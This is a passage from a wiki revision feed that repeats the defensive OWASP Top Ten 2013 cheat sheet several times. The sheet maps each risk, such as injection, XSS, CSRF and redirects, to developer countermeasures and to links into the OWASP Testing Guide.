* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231997</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231997"/>
				<updated>2017-08-03T03:16:55Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
* [[Testing for Local File Inclusion]]&lt;br /&gt;
* [[Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Fingerprint Web Server (OTG-INFO-002)]]&lt;br /&gt;
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]&lt;br /&gt;
* [[Fingerprint Web Application (OTG-INFO-009)]]&lt;br /&gt;
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]&lt;br /&gt;
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]&lt;br /&gt;
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]&lt;br /&gt;
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]&lt;br /&gt;
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]&lt;br /&gt;
* [[Test HTTP Methods (OTG-CONFIG-006)]]&lt;br /&gt;
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]&lt;br /&gt;
* [[Testing for Error Code (OTG-ERR-001)]]&lt;br /&gt;
* [[Testing for Stack Traces (OTG-ERR-002)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]&lt;br /&gt;
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]&lt;br /&gt;
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]&lt;br /&gt;
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231996</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231996"/>
				<updated>2017-08-03T03:13:25Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
